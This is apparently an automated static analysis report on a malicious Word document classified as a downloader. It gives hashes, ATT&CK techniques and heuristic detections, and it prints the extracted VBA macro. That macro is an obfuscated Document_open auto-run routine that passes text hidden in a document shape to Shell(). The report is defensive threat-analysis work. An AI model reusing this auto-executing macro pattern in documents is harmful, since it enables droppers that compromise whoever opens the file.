Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8b4bf9c2ed1b934e…

MALICIOUS

Office (OLE)

68.4 KB Created: 2018-11-08 16:04:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 5f10168e3d1cc106c7c4651b35bcc6bd SHA-1: 09510d71351fef832aa7b3d597b8c0a149be7df9 SHA-256: 8b4bf9c2ed1b934e01d5d64fc8eda3d442c5f6ef7a5151ebadcbcebe9a7acd47
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes a complex PowerShell command. This command decodes a Base64 string, decompresses it, and then executes it using PowerShell. The presence of `cmd.exe` and `powershell` heuristics, along with the `Shell()` call in the VBA, indicates a downloader or dropper functionality. The reconstructed PowerShell command is the primary IOC, as it likely fetches and executes a secondary payload.

Heuristics 8

  • ClamAV: Doc.Downloader.00536d-6923151-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6923151-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       FormatDateTime TvCrw + XrhiTF + jCwBzn + jvQDv / FrLzr + udZbDS / (zslsC + wVwzA + dYIYXf + vkofjk)
vwOVLnChmBW = Shell("" + lzdUQBwr + VjYrZGH + Shapes(MAcvpuzl + WXCnRQl + 1 + fCaofbj + UMDfqUBw).TextFrame.TextRange.Text + oZQPi + NTvHb, 767051443 - 767051443)
   FormatNumber (lAXHpO + JhfVZJ + dwJbw + NAhKVI / cOJdZq + iwCMpZ * (coXQDk + CbsvjH + lTNlj + zuXCv + Rojvzl + ElMJt))
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1081 bytes
SHA-256: 7ab16c48a41929a6305971c89ff1ceb379e6b6e11150273c2c0d0f3ac2624f34
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SnBhWjGjA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   TimeValue ZCLMhS + VzcwZ * (sIuRmF + sXGKPu + dajZC + fAwza)
   Error dDcfNj + awJnt - OotfpY + QzcwGL
   FormatNumber (LLJbsi + nIuCOz + sJuKBO + lFCwE - jLNFI + LlKmW)
   FormatDateTime TvCrw + XrhiTF + jCwBzn + jvQDv / FrLzr + udZbDS / (zslsC + wVwzA + dYIYXf + vkofjk)
vwOVLnChmBW = Shell("" + lzdUQBwr + VjYrZGH + Shapes(MAcvpuzl + WXCnRQl + 1 + fCaofbj + UMDfqUBw).TextFrame.TextRange.Text + oZQPi + NTvHb, 767051443 - 767051443)
   FormatNumber (lAXHpO + JhfVZJ + dwJbw + NAhKVI / cOJdZq + iwCMpZ * (coXQDk + CbsvjH + lTNlj + zuXCv + Rojvzl + ElMJt))
   FormatDateTime jjEGw + iRjlIl + FsRkw + jaGora + dGmqw + lvwDD * (oMAFh + UzZTfn + lWDlc + MjZCXf)
   FormatNumber ZzllLw + FVJRC * rhhmVH + mHPnsf * NQdit + YFrjP
End Sub

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